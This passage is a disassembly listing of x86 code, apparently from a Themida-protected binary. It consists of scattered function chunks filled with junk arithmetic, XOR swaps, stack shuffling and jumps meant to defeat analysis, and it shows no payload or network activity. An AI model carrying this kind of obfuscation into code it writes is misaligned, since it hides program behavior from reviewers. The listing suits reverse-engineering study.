xor eax, ecx
xor eax, ebp
xor ebp, eax
xor eax, ebp
sub esp, 4
mov [esp+0], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop [esp+4+var_4]
mov esp, [esp+0]
jmp loc_591D25
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_592540: ; CODE XREF: sub_5942E3-99Bj
push edi
mov edi, 4
add eax, edi
pop edi
add eax, 4
jmp loc_590D69
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_592553: ; CODE XREF: sub_592D25-969j
jle loc_591130
push ebp
mov ebp, 148664h
sub ebx, ebp
pop ebp
mov ebp, ebx
pop ebx
add ebp, 0F8F058Eh
sub ebp, edi
jmp loc_59042B
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592572: ; CODE XREF: sub_590467-1908j
; sub_598028-67B6j
pop edx
push edi
push eax
mov eax, 647E154Ch
mov edi, eax
pop eax
not edi
sub edi, 3335468Dh
jmp loc_59508A
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_59258A: ; CODE XREF: sub_59762D-AB01j
add ebx, edx
jmp loc_58F12F
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F277
loc_592591: ; CODE XREF: sub_58F277+1j
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
pop esp
; END OF FUNCTION CHUNK FOR sub_58F277
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59259A: ; CODE XREF: sub_58C17E+88Bj
; sub_58C17E+A590j
push [esp+2+var_4+2]
pop ebx
push ebx
mov ebx, esp
sub esp, 4
mov [esp+0Ah+var_C+2], edi
mov edi, 23DB00BFh
sub edi, 49EB3854h
push eax
mov eax, 26103799h
add edi, eax
pop eax
jmp loc_58ED18
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5925C3: ; CODE XREF: sub_5916C4-6D5j
sub edi, 122B1960h
xor edi, edx
xor edx, edi
jmp loc_5912D7
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5925D2: ; CODE XREF: Themida_:0058F067j
mov bh, dl
pop dx
jmp loc_594B3D
; ---------------------------------------------------------------------------
loc_5925DB: ; CODE XREF: Themida_:00591861j
neg ebx
xor ebx, 2B2B3DD3h
xor ebx, 0C7D4C678h
add edi, 51BE2264h
jmp loc_58ED8B
; ---------------------------------------------------------------------------
loc_5925F4: ; CODE XREF: Themida_:005956A1j
pop cx
dec bl
neg bl
jmp loc_592942
; ---------------------------------------------------------------------------
loc_5925FF: ; CODE XREF: Themida_:005943EEj
add esp, 4
jmp loc_594832
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_592607: ; CODE XREF: sub_595655-812Cj
mov ebp, 41C1056Bh
add ebp, 0ED2B07FCh
sub ebx, ebp
pop ebp
shr ebx, 7
add ebx, 0D0A0E80h
add ebx, 0F2B08118h
jmp loc_58C4F8
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
loc_592629: ; CODE XREF: Themida_:0058CF52j
mov [esp], edx
push ebx
mov ebx, 519A2708h
not ebx
sub ebx, 0AE65D8F5h
jmp loc_58D984
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59263F: ; CODE XREF: sub_58C17E+2C46j
xor esi, eax
pop eax
sub edx, esi
pop esi
add edx, eax
add edx, 368B01B5h
sub esp, 4
mov [esp+0Ch+var_C], ebp
mov ebp, ecx
push ebx
sub esp, 4
jmp loc_591170
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_592661: ; CODE XREF: sub_590010-2AEFj
pop ebp
not eax
shr eax, 3
push ebx
mov ebx, 366134DEh
shr ebx, 1
xor ebx, 3A3E6FC1h
sub ebx, 3D300764h
add eax, ebx
jmp loc_5910BF
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592682: ; CODE XREF: sub_58C17E+2391j
mov ebp, ebx
jmp loc_58CED7
; ---------------------------------------------------------------------------
loc_592689: ; CODE XREF: sub_58C17E+B84j
push edx
mov edx, 477E3585h
jmp loc_59361D
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_592694: ; CODE XREF: Themida_:00592DFAj
xor edi, esi
xor esi, edi
xor edi, ebx
xor ebx, edi
xor edi, ebx
not ebx
xchg ebx, edi
xchg edi, esi
not esi
inc esi
sub esp, 4
mov [esp], ecx
mov ecx, 2CE31F58h
sub esi, 61D32049h
add esi, ecx
add esi, 61D32049h
pop ecx
sub esi, 6615035Dh
add edi, esi
pop esi
jmp loc_590449
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_5926D2: ; CODE XREF: sub_58D99C-1932j
shl eax, 8
jp loc_58C2DF
and eax, 51F53A7Fh
jg loc_58C050
mov ch, 0E4h
push ebx
; END OF FUNCTION CHUNK FOR sub_58D99C
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5926EA: ; CODE XREF: sub_58C17E+9C14j
add [esp+arg_0], ecx
jmp loc_593F35
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5926F3: ; CODE XREF: Themida_:00593825j
xor ebx, 979DFFC1h
mov eax, ebx
jmp loc_58E5C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_592700: ; CODE XREF: Themida_:00591435j
; sub_5938B9+3DEAj
add esp, 4
xchg ebp, [esp-0Ah+arg_4+2]
pop esp
push [esp-0Eh+arg_8+2]
pop eax
push 0C59h
mov [esp-0Ah+arg_4+2], edi
push esp
push [esp-6+arg_0+2]
jmp loc_591EDB
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_59271C: ; CODE XREF: Themida_:0058BBF5j
jp loc_58E5A0
xor bl, 64h
xchg ah, bl
xchg dl, ah
not dl
xchg dl, ah
xchg ah, bl
mov bl, bl
loc_592731: ; CODE XREF: Themida_:0058E7F4j
push edi
jmp loc_5915AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592737: ; CODE XREF: sub_58C17E+4DACj
push esi
jmp loc_593B13
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_59273D: ; CODE XREF: Themida_:005963A9j
mov cl, 4Bh
mov dh, cl
pop ecx
xor dh, 12h
jmp loc_58F0AA
; ---------------------------------------------------------------------------
loc_59274A: ; CODE XREF: Themida_:0058E2FBj
sub eax, 6B212B36h
sub edx, eax
pop eax
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592757: ; CODE XREF: sub_5EC2E8:loc_58C6A6j
; Themida_:0059221Fj
jmp sub_58C17E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59275C: ; CODE XREF: sub_58F5B5-42Fj
mov ebp, ecx
pop ecx
push eax
mov eax, ebp
mov ebx, eax
pop eax
pop ebp
and ebx, 254C0B5Fh
push edi
mov edi, 213606B8h
jmp loc_58F35B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592777: ; CODE XREF: Themida_:0059712Dj
; sub_590467+7B8Bj
push dword ptr [esp+0]
pop edx
add esp, 4
push eax
jmp loc_58A70D
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592784: ; CODE XREF: sub_58C17E+932Aj
xchg ecx, [esp+2+var_4+2]
pop esp
push ebp
sub esp, 4
mov [esp+6+var_8+2], edi
mov edi, 33CB21E3h
mov ebp, edi
mov edi, [esp+6+var_8+2]
add esp, 4
and ebp, 1FC73DB4h
xor ebp, 16837E40h
push edx
jmp loc_597E13
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5927B1: ; CODE XREF: Themida_:0059103Ej
; sub_590010+164Bj
not eax
jmp loc_5919BD
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_5927B8: ; CODE XREF: Themida_:005930C0j
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_5927C2: ; CODE XREF: sub_594654-A321j
mov ebx, 24A853CEh
push esi
jmp loc_596BA6
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5927CD: ; CODE XREF: sub_590467-1FD7j
; Themida_:0059296Dj
sub al, 2Fh
pop bx
push cx
mov cl, 62h
jmp loc_58BCA5
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F013
loc_5927DA: ; CODE XREF: sub_58F013+1Cj
sub ecx, ebp
jmp loc_58CB4F
; END OF FUNCTION CHUNK FOR sub_58F013
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5927E1: ; CODE XREF: sub_5916C4+24DCj
add edi, 4
xchg edi, [esp-0Ch+arg_8]
jmp loc_590F10
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5927EC: ; CODE XREF: Themida_:005932C0j
sub esp, 4
mov [esp], eax
mov eax, 2
add ebx, eax
mov eax, [esp]
jmp loc_58B070
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_592804: ; CODE XREF: sub_5938B9-4770j
push ecx
mov ecx, 79E4EF3h
or ecx, 52AE1378h
jo loc_58F760
sub ecx, 2772EBF7h
and ecx, 3A3D56A7h
add ecx, 3404EA63h
mov ebx, ecx
pop ecx
xor ebx, edx
pop edx
push edx
jmp loc_593D17
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_592834: ; CODE XREF: sub_58D99C+3D68j
add ebx, 107B3949h
jmp loc_594200
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_59283F: ; CODE XREF: sub_5942E3-8F4j
pop edi
jmp loc_58BA75
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592845: ; CODE XREF: sub_590467-2697j
pop ebp
pop [esp-6+arg_0+2]
mov esp, [esp-0Ah+arg_4+2]
mov [esp-0Ah+arg_4+2], esi
mov esi, 1
push esi
pop edx
pop esi
; END OF FUNCTION CHUNK FOR sub_590467
; =============== S U B R O U T I N E =======================================
sub_592857 proc near ; CODE XREF: sub_59524C-805Aj
; sub_590467+1CC2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058A9A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B2CF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058B983 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00591AF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592427 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596C75 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059716C SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], edx
push ebx
jmp loc_591AF7
sub_592857 endp
; ---------------------------------------------------------------------------
loc_592863: ; CODE XREF: Themida_:00594ECBj
add bl, al
sub bl, 0F8h
sub bl, 41h
movzx eax, al
push esi
push esp
pop esi
push ecx
mov ecx, 172435C9h
shl ecx, 4
shl ecx, 4
jmp loc_5979DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_592882: ; CODE XREF: sub_595E21-9159j
sub ebx, 0FFFDBA48h
push ebx
pop edi
pop ebx
jmp loc_58ED84
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_592890: ; CODE XREF: Themida_:00593469j
add esp, 4
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], edx
mov edx, 4
add ecx, edx
mov edx, [esp]
add esp, 4
push edi
mov edi, 2
add ecx, edi
pop edi
xchg ecx, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], eax
push 12AAh
mov [esp], esp
push 46D9h
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
jmp loc_58AE90
; ---------------------------------------------------------------------------
loc_5928FE: ; CODE XREF: Themida_:0058A829j
pop esp
mov [esp], edx
push eax
jmp loc_595D22
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5BFCh
mov [esp], eax
mov eax, esp
add eax, 4
push 2B3Fh
mov [esp], ebx
mov ebx, 2664151Fh
shr ebx, 4
shl ebx, 3
jns loc_58E28A
sub ebx, 13320A86h
push esi
jmp loc_58C2D1
; ---------------------------------------------------------------------------
db 8Ah, 0C0h
; ---------------------------------------------------------------------------
loc_592942: ; CODE XREF: Themida_:005925FAj
xor bl, 0B3h
xor dh, bl
mov ebx, [esp]
add esp, 4
push eax
mov ah, dh
mov bh, ah
pop eax
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add al, 2Fh
add al, bh
jmp loc_5927CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592972: ; CODE XREF: sub_5916C4+662Dj
add ebp, 62701BEBh
jmp loc_58DD66
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59297D: ; CODE XREF: Themida_:0058F30Fj
add esp, 4
jmp loc_593523
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592988: ; CODE XREF: sub_5EC2E8-5AFA6j
add ebp, 1D896B42h
mov edx, ebp
pop ebp
jmp loc_5904D1
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_592996: ; CODE XREF: sub_59762D-1EA1j
not dh
xchg ch, dh
push ecx
jmp loc_595079
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5929A0: ; CODE XREF: sub_5EC2E8-56659j
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 198E2AF4h
not esi
add esi, 198E2AF9h
add edx, esi
pop esi
xor edx, [esp+28h+var_28]
xor [esp+28h+var_28], edx
xor edx, [esp+28h+var_28]
jmp loc_59722C
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5929C8: ; CODE XREF: sub_5938B9+4146j
xchg ebp, [esp+0]
mov esp, [esp+0]
push ebx
push 758E61EDh
pop ebx
push 1A6Eh
mov [esp+0], ecx
mov ecx, 594A35A8h
or ebx, ecx
mov ecx, [esp+0]
jmp loc_58E6F8
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5929EC: ; CODE XREF: sub_5916C4+199Bj
pop eax
sub ecx, edi
push edx
mov edx, 43D054F8h
sub ecx, edx
jmp loc_591A9C
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5929FC: ; CODE XREF: Themida_:0058D997j
mov edx, 1EE60DF3h
add edx, 1
jmp loc_592DE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592A0C: ; CODE XREF: sub_5EC2E8-55747j
xor edi, [esp+28h+var_28]
mov esp, [esp+28h+var_28]
jmp loc_58C48D
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592A17: ; CODE XREF: sub_5916C4+404Dj
shl ebp, 8
jmp loc_5934E2
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_592A1F: ; CODE XREF: Themida_:00596A82j
mov [esp], eax
push esp
jmp loc_591002
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592A28: ; CODE XREF: sub_5916C4-1080j
xchg edx, [esp-8+arg_4]
pop esp
xor eax, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], eax
xor eax, [esp-0Ch+arg_8]
jmp loc_58AA99
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_592A3A: ; CODE XREF: sub_59762D-35D6j
pop bx
add al, 57h
jmp loc_58EB0E
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592A43: ; CODE XREF: sub_58C17E+6DFFj
xor ebx, 6B84F12Bh
mov esi, ebx
pop ebx
sub ebp, esi
pop esi
jmp loc_593351
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5909B4
loc_592A54: ; CODE XREF: sub_5909B4+6j
mov eax, ebp
pop ebp
dec eax
shr eax, 5
inc eax
jmp loc_59107C
; END OF FUNCTION CHUNK FOR sub_5909B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592A61: ; CODE XREF: sub_5EC2E8-5D74Bj
sub dl, 15h
sub bh, dl
pop edx
sub al, bh
jmp loc_594F0A
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_592A6E: ; CODE XREF: Themida_:0058D3A1j
pop edi
sub esi, 484D4425h
jmp loc_595F92
; ---------------------------------------------------------------------------
loc_592A7A: ; CODE XREF: Themida_:00595476j
mov ebp, [esp]
jmp loc_596266
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592A82: ; CODE XREF: sub_5916C4+742j
mov ebp, 15AF34A5h
xor ebp, 732957FCh
sub eax, 2DFA0828h
jmp loc_5937E0
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_592A97: ; CODE XREF: Themida_:005976E6j
xor ecx, 403927B5h
and ecx, 2D5A159Eh
add ecx, 0DCF749ECh
add ebx, ecx
pop ecx
add ebx, ebp
sub ebx, 1114E88h
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor ebx, 106B25FBh
add ecx, ebx
jmp loc_597C72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592AD7: ; CODE XREF: sub_5EC2E8-561E4j
pop edx
add eax, edi
sub eax, 24E66FABh
pop edi
jmp loc_58F22F
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_592AE5: ; CODE XREF: Themida_:0058DA8Bj
sub eax, edx
jmp loc_5951DB
; ---------------------------------------------------------------------------
loc_592AEC: ; CODE XREF: Themida_:00590BE9j
add edx, 36D13125h
add edx, 2E7109CFh
mov eax, edx
pop edx
jmp loc_58AEB8
; ---------------------------------------------------------------------------
loc_592B00: ; CODE XREF: Themida_:0059759Cj
pop ebx
sub ebp, 4CBF5092h
xor eax, ebp
pop ebp
push ebp
mov ebp, 0D4411BDh
push ebp
mov ebp, 26905CA7h
push eax
mov eax, 454A6973h
xor eax, 0BA4E88BCh
add ebp, eax
jmp loc_593796
; ---------------------------------------------------------------------------
loc_592B28: ; CODE XREF: Themida_:00596F81j
add eax, 4
push edi
mov edi, 4
add eax, edi
mov edi, [esp]
add esp, 4
xchg eax, [esp]
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58F2B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592B57: ; CODE XREF: sub_5916C4+572Dj
add esp, 4
push edi
sub [esp-8+arg_4], 307A4C27h
pop edx
add edx, 307A4C27h
push [esp-0Ch+arg_8]
mov edi, [esp-8+arg_4]
jmp loc_593925
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_592B77: ; CODE XREF: sub_58E3A6-1742j
mov ecx, 10930B62h
add edx, 64636A58h
jmp loc_591984
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
loc_592B87: ; CODE XREF: Themida_:00594A54j
push eax
mov eax, 404916D3h
sub eax, 661C3656h
push ebp
jmp loc_594688
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592B98: ; CODE XREF: sub_5EC2E8-561B4j
pop eax
xchg edx, [esp+16h+var_16]
jmp loc_594290
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592BA1: ; CODE XREF: Themida_:0058C64Ej
; Themida_:00592487j ...
shr ebp, 2
jmp loc_58B132
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_592BA9: ; CODE XREF: sub_595E21-2F8Bj
pop eax
mov edi, ecx
jmp loc_58C2C5
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_592BB1: ; CODE XREF: Themida_:00590E09j
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_592BC0: ; CODE XREF: Themida_:005947C4j
pop ecx
sub bl, 2Dh
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_592BCF: ; CODE XREF: sub_5916CB-2300j
mov ebx, 0
add ebx, edx
jmp loc_595DF6
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_592BDB: ; CODE XREF: sub_595123+2B3Dj
pop eax
push ebx
jmp loc_593289
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_592BE2: ; CODE XREF: Themida_:0058CF60j
mov dh, 0FEh
add dh, 1Dh
add dh, bl
sub dh, 1Dh
pop ebx
push cx
mov cl, 36h
add bh, cl
pop cx
add bh, dh
sub bh, 36h
mov dx, [esp]
add esp, 2
not bh
inc bh
add bh, 8Ah
xor al, bh
mov ebx, [esp]
jmp loc_597E1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592C12: ; CODE XREF: sub_5916C4+51B2j
or dh, 53h
sub dh, 27h
jmp loc_5967C2
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_592C1D: ; CODE XREF: Themida_:005970BAj
pop ecx
add ecx, 4
sub ecx, 2
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_594312
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_592C35: ; CODE XREF: sub_590010+575Ej
push eax
mov eax, 451B6CF4h
sub edi, 770E5CE1h
add edi, eax
add edi, 770E5CE1h
pop eax
push ebx
push edi
jmp loc_58DDD5
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_592C51: ; CODE XREF: Themida_:00593D5Dj
add esp, 4
push ebp
mov ebp, 0
sub ebp, ebx
xchg ebp, ebx
pop ebp
xor ebx, 39A8EA96h
add edi, ebx
pop ebx
jmp loc_58B185
; ---------------------------------------------------------------------------
loc_592C70: ; CODE XREF: Themida_:00596574j
xor edx, 14706BF4h
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
jmp loc_5921A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_592C84: ; CODE XREF: sub_5916CB+5543j
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
mov eax, [esp+4+var_4]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
push 3A5Ah
mov [esp+8+var_8], edx
jmp loc_58E25F
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_592CAD: ; CODE XREF: sub_590467+403Bj
pop esp
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4FF244DEh
and ecx, 30932247h
shr ecx, 7
jmp loc_595B5C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_592CCB: ; CODE XREF: Themida_:00597509j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esi, ebp
jmp loc_59652C
; ---------------------------------------------------------------------------
loc_592CE2: ; CODE XREF: Themida_:0058B6D2j
add edi, 2
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_58BFE8
; ---------------------------------------------------------------------------
loc_592CF6: ; CODE XREF: Themida_:0058DE6Cj
dec esi
dec esi
sub esi, 0FF3AB2E9h
add edx, esi
pop esi
push ebx
push eax
jmp loc_58FE4F
; ---------------------------------------------------------------------------
loc_592D08: ; CODE XREF: Themida_:0058D813j
mov esi, 22800FDDh
jmp loc_595C2C
; =============== S U B R O U T I N E =======================================
sub_592D12 proc near ; CODE XREF: sub_58F5B5+6647j
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058A7ED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C16D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058C927 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058CD20 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058E11C SIZE 0000000A BYTES
push ebp
jmp loc_58A7ED
sub_592D12 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_592D18: ; CODE XREF: Themida_:0058AB69j
add ax, bx
push edx
mov dx, 5B5Fh
jmp loc_590C73
; =============== S U B R O U T I N E =======================================
sub_592D25 proc near ; CODE XREF: sub_58C17E+732Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 0058A4CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A4EA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C149 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058C963 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DE8C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E72E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058E80A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EDC9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F47E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058F5ED SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F755 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FE60 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059042B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590522 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005908B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590C5E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591130 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00591162 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591D30 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005923AC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00592438 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00592553 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00592D45 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005930F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005936EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005937B2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005946F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595804 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005959BE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597B43 SIZE 00000014 BYTES
push ebp
push edx
push ebx
push eax
mov eax, 22CE577Bh
sub [esp+4], eax
pop eax
pop edx
add edx, 22CE577Bh
push eax
mov eax, edx
mov ebp, eax
pop eax
jmp loc_58F5ED
